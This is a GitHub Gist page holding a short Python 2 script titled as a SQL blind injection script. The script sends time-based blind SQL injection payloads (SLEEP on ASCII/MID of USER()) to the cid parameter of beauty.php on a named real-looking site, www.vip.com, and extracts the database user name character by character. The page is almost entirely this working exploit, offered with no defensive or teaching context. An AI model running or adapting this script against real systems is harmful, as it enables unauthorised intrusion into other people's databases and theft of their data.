Created
January 21, 2019 05:37
-
-
Save imfht/2794507cf82e1ab3348c8432ceb59291 to your computer and use it in GitHub Desktop.
SQL盲注脚本
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# encoding: utf-8 | |
# vip.py | |
# [email protected] | |
import requests | |
import time | |
import sys | |
reload(sys) | |
sys.setdefaultencoding('utf-8') | |
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.') | |
for i in range(1,20): | |
for _str in payloads: | |
start_time = time.time() | |
url = "http://www.vip.com/beauty.php?cid=9);(SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(USER())," + str(i) + ",1))=" + str(ord(_str)) + ")*5)))ring)&stock=9&order=9&page=9" | |
result = requests.get(url).text | |
if(time.time() - start_time) > 3: | |
print _str | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment